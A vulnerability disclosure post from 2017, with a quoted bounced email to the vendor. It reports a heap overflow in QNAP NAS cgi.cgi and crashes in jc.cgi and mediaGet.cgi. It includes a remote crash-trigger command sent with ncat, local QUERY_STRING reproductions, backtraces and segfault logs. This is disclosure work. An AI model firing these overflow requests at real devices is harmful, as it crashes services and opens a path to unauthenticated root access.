QNAP NAS Heap Overflow
Posted on 02 January 2017
Greetings, Twice I tried to use the QNAP Web page (https://aid.qnap.com/event/_module/nas/safe_report/) for reporting vulnerability, and twice I got mailer-daemon back. So, Iall post my vulnerabilities here instead (Was not meant to be 0-daya| whatever). Have a nice day (and happy new year) /bashis ================== 1) [Heap overflow] ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user [guest|admin] 1.1) /* Remote */ [Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0 Host: QNAP " | ncat --ssl 192.168.5.7 443 HTTP/1.1 200 OK Date: Sat, 31 Dec 2016 00:01:11 GMT *** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 *** ======= Backtrace: ========= ======= Memory map: ======== 08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00000000 00: 00 0 [heap] [====SNIP====] ffe53000-ffe54000 rw-p 00000000 00: 00 0 Content-Length: 0 Connection: close Content-Type: text/plain [Remote host]# ======= 1.2) /* Local test, to get more info from backtrace */ # export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`" # ./cgi.cgi *** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 *** ======= Backtrace: ========= /lib/libc.so.6[0xf6c3da62] /lib/libc.so.6(cfree+0x89)[0xf6c3f729] /lib/libc.so.6(fclose+0x136)[0xf6c2e5c6] /lib/libnss_compat.so.2[0xf6b8ac25] /lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282] /lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57] /lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8] /usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972] /usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66] /usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7519098] ./cgi.cgi[0x80502ed] ./cgi.cgi[0x8051a7e] /lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90] ./cgi.cgi[0x804d151] ======= Memory map: ======== 08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00000000 00:00 0 [heap] [====SNIP====] ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack] ffdbe000-ffdbf000 rw-p 00000000 00:00 0 Aborted # 1.3) # export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`" # ./cgi.cgi *** glibc detected *** : free(): invalid next size (normal): 0x0806e508 *** ======= Backtrace: ========= /lib/libc.so.6[0xf6c9da62] /lib/libc.so.6(cfree+0x89)[0xf6c9f729] /lib/libc.so.6(fclose+0x136)[0xf6c8e5c6] /lib/libnss_compat.so.2[0xf6beac25] /lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282] /lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57] /lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8] /usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972] /usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66] /usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7579098] [0x80502ed] [0x0] ======= Memory map: ======== 08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00000000 00:00 0 [heap] [====SNIP====] # ./cgi.cgi Segmentation fault # # dmesg [====SNIP====] [ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000] [====SNIP====] /* Local as shown below, but can of course be called from remote */ ================== 2) [STACK junk] ================== # export QUERY_STRING="bug" # ./jc.cgi Segmentation fault # dmesg [====SNIP====] [76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000] [====SNIP====] ================== 3) [STACK junk] ================== /* Local as shown, but can be called from remote */ # export QUERY_STRING="bug" # ./mediaGet.cgi Segmentation fault # dmesg [====SNIP====] [76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000] [====SNIP====] Have a nice day (and happy new year) /bashis ======================== Hello mcw@noemail.eu, We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post: * You might have spelled or formatted the group name incorrectly. * The owner of the group may have removed this group. * You may need to join the group before receiving permission to post. * This group may not be open to posting. If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838. Thanks, qnap.com admins ----- Original message ----- X-Received: by 10.99.242.5 with SMTP id v5mr94097752pgh.181.1483213806030; Sat, 31 Dec 2016 11:50:06 -0800 (PST) Return-Path: <mcw@noemail.eu> Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102]) by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05 for <security@qnap.com>; Sat, 31 Dec 2016 11:50:06 -0800 (PST) Received-SPF: fail (google.com: domain of mcw@noemail.eu does not designate 113.196.50.102 as permitted sender) client-ip=113.196.50.102; Authentication-Results: mx.google.com; spf=fail (google.com: domain of mcw@noemail.eu does not designate 113.196.50.102 as permitted sender) smtp.mailfrom=mcw@noemail.eu X-AuthUser: qnap1688@qnappm.info Received: from aid.qnap.com ([113.196.50.99]:36962) by mail2.qnappm.info with [XMail 1.27 ESMTP Server] id <S7F885> for <security@qnap.com> from <mcw@noemail.eu>; Sun, 1 Jan 2017 04:13:48 +0800 Date: Sun, 1 Jan 2017 03:50:06 +0800 Return-Path: mcw@noemail.eu To: security@qnap.com From: bashis mcw <mcw@noemail.eu> Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow! Message-ID: <5acc9d206d9601dc574a02b114c83e8a@aid.qnap.com> X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_5acc9d206d9601dc574a02b114c83e8a" Category : Administration Subject : QNAP NAS devices suffer of Heap Overflow! Severity Level : Critical Description : Greetings gents, QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and non critical stack crash in "jc.cgi and mediaGet.cgi". Successful exploitation of this heap overflow vulnerability can lead to unauthorised root (admin) privileges on QNAP devices with anonymous access. (no credential needed to exploit) Please note: 1st February 2017 i will release details of these bugs to Full Disclosure and Bugtraq e-mail lists. Please see below and attached. Have a nice day (and happy new year) /bashis ================== 1) [HEAP overflow] ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user [guest|admin] 1.1) /* Remote */ [Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i Sign Time : 2017/01/01 03:50:06
